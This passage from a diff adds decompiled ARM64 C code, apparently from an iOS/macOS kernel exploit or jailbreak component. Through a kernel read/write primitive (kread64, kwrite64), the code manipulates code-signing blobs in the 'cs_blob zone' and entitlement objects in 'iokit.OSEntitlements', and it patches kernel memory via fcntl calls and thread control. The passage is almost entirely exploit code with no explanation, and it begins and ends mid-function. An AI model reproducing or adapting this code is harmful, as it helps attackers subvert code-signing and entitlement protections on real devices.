[xsp+18h] [xbp+8h] + + if ( a1 ) + { + v2 = a1[1]; + if ( v2 ) + bzero(a1, bswap32(v2)); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(a1); + } +} +// 2FA10: variable 'vars8' is possibly undefined + +//----- (000000000002FA24) ---------------------------------------------------- +void __fastcall sub_2FA24(__int64 a1) +{ + __int64 v2; // x20 + int *v3; // x21 + unsigned __int64 v4; // x24 + bool v5; // cc + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x23 + __int64 v8; // x27 + __int64 v9; // x9 + unsigned __int64 v10; // x8 + _BOOL4 has_flag; // w0 + int v12; // w8 + _BOOL4 v13; // w23 + unsigned __int64 v14; // x0 + unsigned __int64 v15; // x25 + __int64 v16; // x27 + int v17; // w22 + int *v18; // x24 + __int64 v19; // x23 + _QWORD *v20; // x0 + _QWORD *v21; // x25 + int v22; // w25 + __int64 v23; // x25 + unsigned __int64 v24; // x27 + unsigned __int64 v25; // x8 + mach_vm_address_t v26; // x24 + int v27; // w24 + __int64 v28; // x23 + _BOOL4 v29; // w0 + unsigned __int64 v30; // x1 + int v31; // w23 + int v32; // w0 + char v33; // w24 + __int64 v34; // x2 + int v35; // w24 + unsigned __int64 v36; // x8 + unsigned int v37; // w10 + __int64 v38; // x2 + __int64 v39; // x8 + int v40; // w21 + unsigned __int64 v41; // x8 + unsigned int v42; // w23 + __int64 v43; // x9 + __int64 v44; // x25 + unsigned __int64 v45; // x9 + unsigned __int64 v46; // x8 + unsigned int v47; // w25 + __int64 v48; // x22 + _QWORD *v49; // x0 + _QWORD *v50; // x27 + __int64 v51; // x25 + int v52; // w12 + unsigned __int64 v53; // x8 + int v54; // w0 + _BOOL4 v55; // w9 + _BOOL4 v56; // w10 + unsigned int v57; // w1 + int v58; // w24 + unsigned int v59; // w11 + _BOOL4 v60; // w23 + unsigned int v61; // w0 + unsigned __int64 v62; // x10 + int v63; // w8 + int v64; // w8 + unsigned __int64 v65; // x0 + unsigned __int64 v66; // x21 + __int64 v67; // x21 + mach_vm_address_t v68; // x23 + char v69; // w23 + unsigned __int64 v70; // x24 + __int64 v71; // x8 + unsigned int *v72; // x0 + unsigned int v73; // w8 + __int64 v74; // x2 + unsigned __int64 v75; // x0 + unsigned __int64 v76; // x24 + __int64 v77; // x8 + int v78; // w0 + unsigned __int64 v79; // x0 + unsigned int v80; // w0 + int v81; // w1 + __int64 v82; // x9 + __int64 v83; // x24 + mach_port_t v84; // w0 + unsigned __int64 v85; // x0 + int v86; // w0 + unsigned __int64 v87; // x24 + __int64 v88; // x8 + unsigned int v89; // w9 + unsigned int v90; // w9 + int v91; // w0 + void *(__cdecl *v92)(void *); // x0 + int v93; // w0 + int v94; // w0 + int v95; // w24 + int v96; // w8 + int v97; // w24 + unsigned __int64 v98; // x8 + __int64 v99; // x9 + __int64 v100; // x1 + char v101; // w27 + int v102; // w24 + int v103; // w0 + unsigned __int64 v104; // x23 + thread_act_t v105; // w0 + mach_port_t v106; // w0 + int v107; // w0 + void *(__cdecl *v108)(void *); // x0 + int v109; // w0 + int v110; // w8 + unsigned int v111; // w24 + unsigned __int64 v112; // x0 + unsigned __int64 v113; // x23 + int v114; // w8 + int v115; // w8 + __int64 v116; // x8 + unsigned __int64 v117; // x0 + int v118; // w0 + int v119; // w8 + int v120; // w23 + char *v121; // x27 + int v122; // w21 + bool v123; // zf + __int64 v124; // x27 + int v125; // w0 + unsigned __int64 v126; // x0 + unsigned __int64 v127; // x21 + __int64 v128; // x8 + __int64 v129; // x9 + unsigned __int64 v130; // x21 + _BOOL4 v131; // w0 + int v132; // w8 + int v133; // w8 + int v134; // w0 + kern_return_t v135; // w0 + int v136; // w0 + int v137; // w0 + int v138; // w23 + int v139; // w21 + __int64 v140; // [xsp+10h] [xbp-4E0h] + thread_act_t target_act[2]; // [xsp+18h] [xbp-4D8h] + thread_act_t target_acta[2]; // [xsp+18h] [xbp-4D8h] + thread_act_t target_actb; // [xsp+18h] [xbp-4D8h] + unsigned __int64 v144; // [xsp+20h] [xbp-4D0h] + __int64 v145; // [xsp+20h] [xbp-4D0h] + unsigned __int64 v146; // [xsp+20h] [xbp-4D0h] + unsigned int v147; // [xsp+28h] [xbp-4C8h] + __int64 v148; // [xsp+28h] [xbp-4C8h] + int v149; // [xsp+28h] [xbp-4C8h] + unsigned int v150; // [xsp+30h] [xbp-4C0h] + _BOOL4 v151; // [xsp+30h] [xbp-4C0h] + int v152; // [xsp+34h] [xbp-4BCh] + unsigned int v153; // [xsp+34h] [xbp-4BCh] + char v154; // [xsp+34h] [xbp-4BCh] + char v155; // [xsp+34h] [xbp-4BCh] + unsigned int v156; // [xsp+34h] [xbp-4BCh] + __int64 v157; // [xsp+38h] [xbp-4B8h] + int v158; // [xsp+38h] [xbp-4B8h] + unsigned int v159; // [xsp+40h] [xbp-4B0h] + int v160; // [xsp+40h] [xbp-4B0h] + _BOOL4 v161; // [xsp+44h] [xbp-4ACh] + int v162; // [xsp+44h] [xbp-4ACh] + __int64 v163; // [xsp+48h] [xbp-4A8h] + unsigned int v164; // [xsp+48h] [xbp-4A8h] + __int64 v165; // [xsp+50h] [xbp-4A0h] + int v166; // [xsp+50h] [xbp-4A0h] + __int64 v167; // [xsp+50h] [xbp-4A0h] + __int64 v168; // [xsp+50h] [xbp-4A0h] + __int64 v169; // [xsp+58h] [xbp-498h] + unsigned __int64 v170; // [xsp+58h] [xbp-498h] + int v171; // [xsp+64h] [xbp-48Ch] BYREF + unsigned int v172; // [xsp+68h] [xbp-488h] BYREF + unsigned int v173; // [xsp+6Ch] [xbp-484h] BYREF + mach_port_name_t name[4]; // [xsp+70h] [xbp-480h] BYREF + __int128 v175; // [xsp+80h] [xbp-470h] + __int128 v176; // [xsp+90h] [xbp-460h] + __int128 v177; // [xsp+A0h] [xbp-450h] + __int128 v178; // [xsp+B0h] [xbp-440h] + __int64 __src[4]; // [xsp+C8h] [xbp-428h] BYREF + __int64 v180; // [xsp+E8h] [xbp-408h] + __int128 v181; // [xsp+F0h] [xbp-400h] BYREF + __int128 v182; // [xsp+100h] [xbp-3F0h] + __int128 v183; // [xsp+110h] [xbp-3E0h] + __int64 v184; // [xsp+120h] [xbp-3D0h] + unsigned __int8 v185; // [xsp+12Ah] [xbp-3C6h] BYREF + char v186; // [xsp+12Bh] [xbp-3C5h] BYREF + unsigned int v187; // [xsp+12Ch] [xbp-3C4h] BYREF + mach_vm_address_t v188; // [xsp+130h] [xbp-3C0h] BYREF + __int64 v189; // [xsp+138h] [xbp-3B8h] BYREF + __int64 v190; // [xsp+140h] [xbp-3B0h] BYREF + unsigned int v191; // [xsp+14Ch] [xbp-3A4h] BYREF + unsigned int v192; // [xsp+150h] [xbp-3A0h] BYREF + int v193; // [xsp+154h] [xbp-39Ch] BYREF + __int64 v194; // [xsp+158h] [xbp-398h] BYREF + int v195; // [xsp+160h] [xbp-390h] BYREF + __int64 v196; // [xsp+168h] [xbp-388h] + __int64 v197; // [xsp+178h] [xbp-378h] + unsigned int v198; // [xsp+190h] [xbp-360h] + int v199; // [xsp+1A0h] [xbp-350h] + unsigned int v200; // [xsp+1ACh] [xbp-344h] + int v201; // [xsp+1B0h] [xbp-340h] + __int64 v202; // [xsp+1C8h] [xbp-328h] BYREF + int v203; // [xsp+1D4h] [xbp-31Ch] BYREF + unsigned __int64 v204; // [xsp+1D8h] [xbp-318h] BYREF + void *v205; // [xsp+1E0h] [xbp-310h] BYREF + unsigned int v206; // [xsp+1ECh] [xbp-304h] BYREF + void *v207; // [xsp+1F0h] [xbp-300h] BYREF + __int64 v208; // [xsp+1F8h] [xbp-2F8h] BYREF + unsigned __int64 v209; // [xsp+200h] [xbp-2F0h] BYREF + pthread_t v210; // [xsp+208h] [xbp-2E8h] BYREF + unsigned int v211; // [xsp+214h] [xbp-2DCh] BYREF + _BYTE v212[48]; // [xsp+218h] [xbp-2D8h] BYREF + unsigned __int64 v213; // [xsp+248h] [xbp-2A8h] BYREF + void *v214; // [xsp+250h] [xbp-2A0h] + __int64 v215; // [xsp+258h] [xbp-298h] + __int128 v216; // [xsp+280h] [xbp-270h] BYREF + __int128 v217; // [xsp+290h] [xbp-260h] + __int128 v218; // [xsp+2A0h] [xbp-250h] + __int128 v219; // [xsp+2B0h] [xbp-240h] + __int128 v220; // [xsp+2C0h] [xbp-230h] + __int128 v221; // [xsp+2D0h] [xbp-220h] + __int128 v222; // [xsp+2E0h] [xbp-210h] + __int128 v223; // [xsp+2F0h] [xbp-200h] + __int128 v224; // [xsp+300h] [xbp-1F0h] + __int128 v225; // [xsp+310h] [xbp-1E0h] + __int128 v226; // [xsp+320h] [xbp-1D0h] + __int128 v227; // [xsp+330h] [xbp-1C0h] + __int128 v228; // [xsp+340h] [xbp-1B0h] + __int128 v229; // [xsp+350h] [xbp-1A0h] + __int128 v230; // [xsp+360h] [xbp-190h] + __int128 v231; // [xsp+370h] [xbp-180h] + __int128 v232; // [xsp+380h] [xbp-170h] + __int128 v233; // [xsp+390h] [xbp-160h] + __int128 v234; // [xsp+3A0h] [xbp-150h] + __int128 v235; // [xsp+3B0h] [xbp-140h] + __int128 v236; // [xsp+3C0h] [xbp-130h] + __int128 v237; // [xsp+3D0h] [xbp-120h] + __int128 v238; // [xsp+3E0h] [xbp-110h] + __int128 v239; // [xsp+3F0h] [xbp-100h] + __int128 v240; // [xsp+400h] [xbp-F0h] + __int128 v241; // [xsp+410h] [xbp-E0h] + __int128 v242; // [xsp+420h] [xbp-D0h] + __int128 v243; // [xsp+430h] [xbp-C0h] + __int128 v244; // [xsp+440h] [xbp-B0h] + __int128 v245; // [xsp+450h] [xbp-A0h] + __int128 v246; // [xsp+460h] [xbp-90h] + __int128 v247; // [xsp+470h] [xbp-80h] + + v2 = *(_QWORD *)a1; + v3 = *(int **)(a1 + 8); + v4 = *(_QWORD *)(*(_QWORD *)a1 + 0x158LL); + v5 = (**(_DWORD **)a1 & 0x5584001) != 0 || v4 > 0x1F52FFFFFFFFFFLL; + if ( !v5 ) + { + v204 = 0LL; + v205 = 0LL; + v203 = 0xFFFFFFFF; + v202 = 0x20000000LL; + v194 = 0LL; + v193 = 0; + v188 = 0LL; + v189 = 0LL; + v187 = 0; + has_flag = krw_ctx_has_flag((_DWORD *)v2, 0x5184001); + v12 = 0; + if ( (*(_DWORD *)v2 & 0x5584001) != 0 ) + goto LABEL_466; + v13 = has_flag; + if ( (unsigned int)sub_31914( + (__int64)v3, + &v205, + &v204, + (unsigned int *)&v194 + 1, + (unsigned int *)&v194, + (unsigned int *)&v193) ) + { + v198 = 0xFFFFFFFF; + v14 = sub_33E8C(v2, v3[0x11]); + if ( !v14 ) + { + v22 = 5; +LABEL_352: + v122 = v203; + if ( v203 != 0xFFFFFFFF ) + { + if ( v188 && v189 && !kwrite64(v2, v188, v189) ) + v22 = 5; + close(v122); + } + if ( v205 ) + free(v205); + v123 = v22 == 0; + goto LABEL_463; + } + v15 = v14; + if ( !(unsigned int)sub_2BBA4(v2, (int *)&v192, (int *)&v191) ) + goto LABEL_349; + v16 = v15 + v191; + if ( !(unsigned int)kreadbuf_last_1(v2, v16, 8LL, (__int64)&v190) ) + goto LABEL_349; + if ( v190 == 0x20000000 ) + { + v17 = 0; + v18 = v3; +LABEL_33: + v19 = v204; + if ( v204 > *((_QWORD *)v18 + 2) ) + { + LODWORD(v209) = v204; + v20 = sub_32538((_DWORD *)v2, (unsigned int *)&v209); + if ( !v20 ) + goto LABEL_349; + *((_QWORD *)v18 + 3) = v20; + v21 = v18 + 6; + *((_QWORD *)v18 + 2) = (unsigned int)v209; + if ( !(unsigned int)kwritebuf_last_1(v2, (__int64)v20, (__int64)v205, v19) + || !kwrite64(v2, *((_QWORD *)v18 + 1) + 0x40LL, *((_QWORD *)v18 + 3)) + || !kwrite64(v2, *((_QWORD *)v18 + 1) + 0x30LL, *((_QWORD *)v18 + 2)) ) + { + goto LABEL_349; + } +LABEL_63: + if ( kwrite64(v2, *((_QWORD *)v18 + 1) + 0x78LL, *((_QWORD *)v18 + 3) + HIDWORD(v194)) ) + { + v34 = (_DWORD)v194 ? *v21 + (unsigned int)v194 : 0LL; + if ( kwrite64(v2, *((_QWORD *)v18 + 1) + 0x88LL, v34) ) + { + if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL + || (!v193 ? (v38 = 0LL) : (v38 = *v21 + (unsigned int)v193), + kwrite64(v2, *((_QWORD *)v18 + 1) + 0x98LL, v38)) ) + { + if ( v190 == 0x20000000 + || (!v17 + || (*((_BYTE *)v3 + 3) & 4) != 0 + || (*(_QWORD *)name = 0LL, *(_QWORD *)&v181 = 0LL, v213 = 0LL, (v68 = *((_QWORD *)v3 + 4)) != 0) + && kread64((_DWORD *)v2, *((_QWORD *)v3 + 4), (__int64 *)name) + && *(_QWORD *)name + && (*(_QWORD *)name == *((_QWORD *)v3 + 1) + || kread64((_DWORD *)v2, *(unsigned __int64 *)name, (__int64 *)&v181) + && (_QWORD)v181 + && kread64((_DWORD *)v2, v181, (__int64 *)&v213) + && !v213 + && kwrite64(v2, v68, v181) + && kwrite64(v2, *(mach_vm_address_t *)name, 0LL) + && kwrite64(v2, v181, *(__int64 *)name))) + && (unsigned int)sub_2F898((_DWORD *)v2, v3[0x11], v190) + && (v190 = 0x20000000LL, (unsigned int)kwritebuf_last_1(v2, v16, (__int64)&v190, 8LL)) ) + { + v22 = 0; + goto LABEL_350; + } + } + } + } + goto LABEL_349; + } + v21 = v18 + 6; + if ( (unsigned int)kwritebuf_last_1(v2, *((_QWORD *)v18 + 3), (__int64)v205, v204) ) + goto LABEL_63; +LABEL_349: + v22 = 5; + goto LABEL_350; + } + if ( v13 ) + { + v23 = v204; + v165 = (__int64)v205; + v169 = v16; + v163 = HIDWORD(v194); + *(_QWORD *)&v181 = 0LL; + v213 = *((_QWORD *)v3 + 4); + v24 = v213; + v208 = 0LL; + v230 = 0u; + v231 = 0u; + v228 = 0u; + v229 = 0u; + v226 = 0u; + v227 = 0u; + v224 = 0u; + v225 = 0u; + v222 = 0u; + v223 = 0u; + v220 = 0u; + v221 = 0u; + v218 = 0u; + v219 = 0u; + v216 = 0u; + v217 = 0u; + v161 = krw_ctx_has_flag((_DWORD *)v2, 0x5184001); + if ( v24 ) + { + if ( kread64((_DWORD *)v2, v24, (__int64 *)&v213) ) + { + v25 = v213; + if ( v213 ) + { + while ( 1 ) + { + v26 = v25; + if ( !(unsigned int)kreadbuf_last_1(v2, v25 + 0x18, 8LL, (__int64)&v181) ) + break; + if ( (_QWORD)v181 == 0x20000000LL ) + { + if ( v213 ) + { + v17 = 0; + goto LABEL_110; + } +LABEL_121: + v159 = sub_320EC(v2); + if ( !v159 ) + goto LABEL_349; + v206 = v23; + v49 = sub_32538((_DWORD *)v2, &v206); + if ( !v49 ) + goto LABEL_349; + v50 = v49; + v157 = v206; + if ( !(unsigned int)kwritebuf_last_1(v2, (__int64)v49, v165, v23) ) + goto LABEL_349; + *(_QWORD *)name = 0LL; + if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) + { + v211 = v159; + v167 = sub_37210(v2, &v211); + if ( !v167 ) + goto LABEL_349; + } + else + { + v51 = *(_QWORD *)(v2 + 0x19B8); + if ( !v51 ) + { + v117 = sub_403E0(v2, "cs_blob zone"); + if ( !v117 ) + goto LABEL_349; + v51 = v117; + if ( (unsigned int)sub_4062C(v2, v117) ) + goto LABEL_349; + *(_QWORD *)(v2 + 0x19B8) = v51; + } + if ( (unsigned int)sub_40CBC( + v2, + v51, + v159, + (__int64 *)name, + (__int64 (__fastcall *)(__int64, __int64))sub_321C0, + 0LL) ) + goto LABEL_349; + v167 = *(_QWORD *)name; + if ( !*(_QWORD *)name ) + goto LABEL_349; + } + if ( !(unsigned int)kreadbuf_last_1(v2, *((_QWORD *)v3 + 1), v159, (__int64)&v216) ) + goto LABEL_349; + v207 = 0LL; + __memcpy_chk(); + *(_QWORD *)&v181 = 0x20000000LL; + *((_QWORD *)&v217 + 1) = 0x20000000LL; + *(_QWORD *)&v220 = v50; + *(_QWORD *)&v219 = v157; + v210 = (pthread_t)((char *)v50 + v163); + __memcpy_chk(); + v98 = *(_QWORD *)(v2 + 0x158); + v99 = 0x90LL; + if ( v98 > 0x1C1B19145FFFFFLL ) + v99 = 0x98LL; + if ( v98 > 0x1F52FFFFFFFFFFLL ) + v99 = 0xA8LL; + v100 = *(_QWORD *)((char *)&v216 + v99); + __src[0] = v100; + if ( v100 ) + { + if ( v98 <= 0x1F52FFFFFFFFFFLL ) + { + __src[0] = 0LL; + memcpy((char *)&v216 + v99, __src, *(int *)(v2 + 0x168)); + } + else if ( (unsigned int)sub_38FD4(v2, v100) ) + { + goto LABEL_349; + } + } + v209 = *((_QWORD *)&v224 + 1); + if ( *((_QWORD *)&v224 + 1) ) + { + v209 = (unsigned __int64)v50 + *((_QWORD *)&v224 + 1) - *((_QWORD *)v3 + 3); + __memcpy_chk(); + } + if ( *(_QWORD *)(v2 + 0x158) > 0x1F52FFFFFFFFFFuLL ) + { + v208 = *((_QWORD *)&v225 + 1); + if ( *((_QWORD *)&v225 + 1) ) + { + v208 = (__int64)v50 + *((_QWORD *)&v225 + 1) - *((_QWORD *)v3 + 3); + __memcpy_chk(); + } + } + if ( v161 ) + { + *(_QWORD *)name = 0LL; + v121 = (char *)&v216 + v159 - *(_DWORD *)(v2 + 0x168); + __memcpy_chk(); + if ( *(_QWORD *)name && !validate_addr(v2, *(__int64 *)name) ) + goto LABEL_349; + *(_QWORD *)name = 0LL; + memcpy(v121, name, *(int *)(v2 + 0x168)); + } + if ( !(unsigned int)kwritebuf_last_1(v2, v167, (__int64)&v216, v159) || !kwrite64(v2, v26, v167) ) + goto LABEL_349; + goto LABEL_348; + } + if ( !kread64((_DWORD *)v2, v213, (__int64 *)&v213) ) + goto LABEL_349; + v25 = v213; + if ( !v213 ) + goto LABEL_121; + } + } + } + } + goto LABEL_349; + } + if ( !kread64((_DWORD *)v2, v15 + v192, __src) || !(unsigned int)sub_31B90(v2, __src[0], &v188, &v189, &v203) ) + goto LABEL_349; + v216 = 0x20000000uLL; + *(_QWORD *)&v217 = 0x40000000LL; + v35 = v203; + if ( (fcntl(v203, 0x3B, &v216) & 0x80000000) == 0 ) + { + v17 = 0; +LABEL_111: + if ( !(unsigned int)sub_2E5C0(v2, v3[0x11], &v202, 1u, (__int64)&v195) ) + goto LABEL_349; + v18 = &v195; + if ( !v13 && v17 ) + { + if ( (*((_BYTE *)v3 + 3) & 4) == 0 ) + { + v48 = *(_QWORD *)(v2 + 0x158) <= 0x1F530F027FFFFFuLL ? 0x80LL : 0x88LL; + if ( !kread64((_DWORD *)v2, v48 + *((_QWORD *)v3 + 1), (__int64 *)&v210) + || !kwrite64(v2, v196 + v48, (__int64)v210) ) + { + goto LABEL_349; + } + } + v18 = &v195; + v17 = 1; + } + goto LABEL_33; + } + if ( *__error() != 7 ) + goto LABEL_349; + v46 = *(_QWORD *)(v2 + 0x158); + if ( v46 <= 0x1F530F027FFFFFLL ) + { + if ( v46 <= 0x1F52FFFFFFFFFFLL ) + { + v47 = 0xA8; + if ( v46 <= 0x1C1B19145FFFFFLL ) + { + if ( *(int *)(v2 + 0x140) <= 0x1C1A ) + v47 = 0xA8; + else + v47 = 0xA0; + } + } + else + { + v47 = 0xB8; + } + } + else + { + v47 = 0xAC; + } + if ( !(unsigned int)kreadbuf_last_1(v2, *((_QWORD *)v3 + 1) + v47, 1LL, (__int64)&v187) ) + goto LABEL_349; + v169 = v16; + v101 = v187; + if ( !(unsigned int)sub_31FC0((__int64)v3, v212) ) + goto LABEL_349; + if ( !sub_22464(v2, (__int64)v212, 0x14) ) + goto LABEL_349; + if ( (v101 & 1) == 0 ) + { + name[0] = v187 | 1; + if ( !(unsigned int)sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v47, (__int64)name, 1LL) ) + goto LABEL_349; + } + *(_QWORD *)&v216 = 0x20000000LL; + *((_QWORD *)&v216 + 1) = v205; + *(_QWORD *)&v217 = v204; + v102 = fcntl(v35, 0x3B, &v216); + if ( v102 < 0 ) + { + __error(); + if ( (v101 & 1) != 0 ) + goto LABEL_349; + } + else if ( (v101 & 1) != 0 ) + { +LABEL_348: + v17 = 1; +LABEL_110: + v16 = v169; + goto LABEL_111; + } + v17 = 1; + v118 = sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v47, (__int64)&v187, 1LL); + v22 = 5; + if ( !v118 || (v16 = v169, v102 < 0) ) + { +LABEL_350: + if ( v198 != 0xFFFFFFFF ) + sub_2CB54((__int64)&v195); + goto LABEL_352; + } + goto LABEL_111; + } +LABEL_39: + v12 = 0; + goto LABEL_466; + } + v207 = 0LL; + v205 = 0LL; + v193 = 0xFFFFFFFF; + v192 = 0; + v191 = 0; + v187 = 0; + v188 = 0LL; + v189 = 0LL; + v171 = 0; + if ( !(unsigned int)sub_31914((__int64)v3, &v207, (size_t *)&v205, &v192, &v191, &v187) ) + goto LABEL_39; + v198 = 0xFFFFFFFF; + if ( !*((_BYTE *)v3 + 0x60) + && *((_QWORD *)v3 + 5) >> 0x1D + && (v3[0x13] != v192 + || v3[0x15] != v191 && !v187 + || v3[0x16] != v187 && *(_QWORD *)(v2 + 0x158) > 0x1F52FFFFFFFFFFuLL) ) + { + goto LABEL_451; + } + v6 = sub_33E8C(v2, v3[0x11]); + if ( !v6 ) + goto LABEL_451; + v7 = v6; + if ( !(unsigned int)sub_2BBA4(v2, (int *)&v173, (int *)&v172) ) + goto LABEL_451; + v8 = v7 + v172; + if ( !(unsigned int)kreadbuf_last_1(v2, v8, 8LL, (__int64)&v202) ) + goto LABEL_451; + v9 = v202; + if ( v202 >= 0x20000000 && !*((_BYTE *)v3 + 0x60) ) + { + v27 = 0; + goto LABEL_51; + } + if ( !kread64((_DWORD *)v2, v7 + v173, &v190) || !(unsigned int)sub_31B90(v2, v190, &v188, &v189, &v193) ) + goto LABEL_451; + if ( *((_BYTE *)v3 + 0x60) ) + { + if ( v202 > 0x7FFFFFFFFFLL ) + goto LABEL_451; + if ( v202 >= 0x20000000 ) + v10 = v202 + 0x20000000; + else + v10 = 0x20000000LL; + } + else + { + v10 = 0x20000000LL; + } + v170 = v10; + v213 = v10; + v214 = 0LL; + v215 = 0x40000000LL; + v31 = v193; + v32 = fcntl(v193, 0x3B, &v213); + if ( (v32 & 0x80000000) == 0 ) + { + if ( *((_BYTE *)v3 + 0x60) ) + goto LABEL_451; + v166 = v32; + v33 = 0; + goto LABEL_59; + } + v166 = v32; + if ( *__error() != 7 ) + goto LABEL_451; + v36 = *(_QWORD *)(v2 + 0x158); + if ( v36 <= 0x1F530F027FFFFFLL ) + { + if ( v36 <= 0x1F52FFFFFFFFFFLL ) + { + v37 = 0xA8; + if ( v36 <= 0x1C1B19145FFFFFLL ) + { + if ( *(int *)(v2 + 0x140) <= 0x1C1A ) + v37 = 0xA8; + else + v37 = 0xA0; + } + } + else + { + v37 = 0xB8; + } + } + else + { + v37 = 0xAC; + } + v164 = v37; + if ( !(unsigned int)kreadbuf_last_1(v2, *((_QWORD *)v3 + 1) + v37, 1LL, (__int64)&v171) ) + goto LABEL_451; + v52 = v171 & 1; + if ( v4 <= 0x1F52FFFFFFFFFFLL ) + goto LABEL_142; + v152 = v171 & 1; + if ( !(unsigned int)sub_31FC0((__int64)v3, v212) || !sub_22464(v2, (__int64)v212, 0x14) ) + goto LABEL_451; + v52 = v152; + if ( v152 ) + { +LABEL_142: + v158 = 0; +LABEL_143: + v53 = *(_QWORD *)(v2 + 0x158); + goto LABEL_144; + } + if ( (*(_DWORD *)v2 & 0x5584001) == 0 || (v53 = *(_QWORD *)(v2 + 0x158), v53 > 0x1F530F027FFFFFLL) ) + { + LODWORD(v216) = v171 | 1; + v158 = 1; + v54 = sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v164, (__int64)&v216, 1LL); + v52 = 0; + if ( !v54 ) + goto LABEL_451; + goto LABEL_143; + } + v158 = 0; + v52 = 0; +LABEL_144: + if ( v53 <= 0x1F52FFFFFFFFFFLL ) + { + v55 = 0; + LOBYTE(v160) = 0; + } + else + { + v160 = *((unsigned __int8 *)v3 + 0x61); + v55 = v160 != 0; + } + v213 = v170; + v214 = v207; + v215 = (__int64)v205; + if ( v4 > 0x1F52FFFFFFFFFFLL ) + { + v56 = 0; + LODWORD(v208) = v31; + v57 = v3[0x11]; + v184 = 0LL; + v183 = 0u; + v182 = 0u; + v181 = 0u; + LOWORD(v204) = 0; + v209 = 0LL; + v210 = 0LL; + v177 = 0u; + v178 = 0u; + v175 = 0u; + v176 = 0u; + *(_OWORD *)name = 0u; + if ( v55 ) + v56 = (*(_DWORD *)v2 & 0x5584001) != 0 && v53 < 0x1F530F02800000LL; + if ( v52 ) + { + v52 = 0; + v59 = 0; + v58 = 0x1001; + } + else + { + v58 = 0x1001; + if ( (*(_DWORD *)v2 & 0x5584001) != 0 ) + { + v59 = 0; + if ( v53 < 0x1F530F02800000LL ) + { + v147 = v57; + v60 = v56; + v61 = sub_320EC(v2); + if ( !v61 ) + { + v115 = 0x28011; + goto LABEL_441; + } + v153 = v61; + if ( *(_QWORD *)(v2 + 0x19B8) ) + { + v58 = 0x1001; + } + else + { + v146 = sub_403E0(v2, "cs_blob zone"); + if ( !v146 ) + { + v115 = 0x1001; + goto LABEL_441; + } + v162 = sub_4062C(v2, v146); + if ( v162 ) + goto LABEL_442; + v58 = 0; + *(_QWORD *)(v2 + 0x19B8) = v146; + } + v52 = 1; + v56 = v60; + v59 = v153; + v57 = v147; + } + } + else + { + v59 = 0; + } + } + v151 = v56; + v156 = v59; + v149 = v52; + if ( v56 ) + { + if ( !*(_QWORD *)(v2 + 0x19B0) || !*(_DWORD *)(v2 + 0x19C0) ) + { + v111 = v57; + v112 = sub_403E0(v2, "iokit.OSEntitlements"); + if ( !v112 ) + { + v115 = 0xAD011; + goto LABEL_441; + } + v113 = v112; + v162 = sub_4062C(v2, v112); + if ( v162 ) + goto LABEL_442; + if ( !(unsigned int)kreadbuf_last_1(v2, v113 + 0x36, 2LL, (__int64)&v216) ) + { + v115 = 0x2800F; + goto LABEL_441; + } + v114 = (unsigned __int16)v216; + v162 = 0x28011; + if ( (unsigned int)(unsigned __int16)v216 - 1 > 0x1FF + || ((*(_DWORD *)(v2 + 0x168) - 1) & (unsigned __int16)v216) != 0 ) + { + goto LABEL_442; + } + *(_QWORD *)(v2 + 0x19B0) = v113; + *(_DWORD *)(v2 + 0x19C0) = v114; + v57 = v111; + } + if ( !(unsigned int)sub_34D14(v2, v57) ) + { + v162 = 0x28019; + goto LABEL_442; + } + v162 = 0x28026; + v145 = *(_QWORD *)(v2 + 0x3A0); + v104 = *(_QWORD *)(v2 + 0x390); + if ( !validate_addr(v2, v104) ) + goto LABEL_442; + v162 = sub_38F38(v2, v104, (__int64)&v204); + if ( v162 ) + goto LABEL_442; + LOWORD(v204) = sub_38FAC((unsigned __int16)v204); + } + else + { + v145 = 0LL; + v104 = 0LL; + if ( !v52 ) + { +LABEL_433: + v136 = fcntl(v208, 0x3B, &v213); + BYTE1(name[0]) = 1; + if ( v136 < 0 ) + { + v138 = *__error(); + v110 = *__error(); + if ( v138 < 0 ) + v110 = -v110; + goto LABEL_440; + } + if ( !v151 + || v58 != 0 + || (v162 = 0x28010, !(unsigned int)sub_38F6C(v2, v104, v204)) + && (sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), v145), v137) ) + { + v162 = 0; + } +LABEL_442: + if ( v210 ) + { + pthread_join(v210, 0LL); + v210 = 0LL; + } + v33 = v160; + if ( !(_QWORD)v181 ) + goto LABEL_446; +LABEL_445: + sub_38BCC(v2, (__int64)&v181); + goto LABEL_446; + } + } + v105 = mach_thread_self(); + if ( !sub_2515C(v105) ) + goto LABEL_430; + v106 = mach_thread_self(); + v162 = sub_37A50((int *)v2, v106, 1, 1, 1); + if ( v162 ) + goto LABEL_442; + thread_switch(0, 2, 0xAu); + target_actb = 0; + if ( !v149 ) + { +LABEL_423: + if ( !v151 ) + { +LABEL_426: + if ( v149 ) + { + v162 = sub_4087C( + v2, + *(_QWORD *)(v2 + 0x19B8), + v156, + v209, + (__int64 (__fastcall *)(__int64, __int64))sub_321C0, + 0LL); + if ( v162 ) + goto LABEL_442; + v135 = thread_resume(target_actb); + if ( v135 ) + { + v115 = v135 | 0x80000000; + goto LABEL_441; + } + while ( !LOBYTE(name[0]) ) + ; + } + v58 = 0; + goto LABEL_433; + } + sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), 0LL); + if ( v134 ) + { + v162 = sub_4087C( + v2, + *(_QWORD *)(v2 + 0x19B0), + *(unsigned int *)(v2 + 0x19C0), + v104, + (__int64 (__fastcall *)(__int64, __int64))sub_322D8, + (__int64)&v208); + if ( v162 ) + goto LABEL_442; + goto LABEL_426; + } +LABEL_467: + v115 = 0x28010; + goto LABEL_441; + } + v162 = sub_40CBC( + v2, + *(_QWORD *)(v2 + 0x19B8), + v156, + (__int64 *)&v209, + (__int64 (__fastcall *)(__int64, __int64))sub_321C0, + 0LL); + if ( v162 ) + goto LABEL_442; + v246 = 0u; + v247 = 0u; + v244 = 0u; + v245 = 0u; + v242 = 0u; + v243 = 0u; + v240 = 0u; + v241 = 0u; + v238 = 0u; + v239 = 0u; + v236 = 0u; + v237 = 0u; + v234 = 0u; + v235 = 0u; + v232 = 0u; + v233 = 0u; + v230 = 0u; + v231 = 0u; + v228 = 0u; + v229 = 0u; + v226 = 0u; + v227 = 0u; + v224 = 0u; + v225 = 0u; + v222 = 0u; + v223 = 0u; + v220 = 0u; + 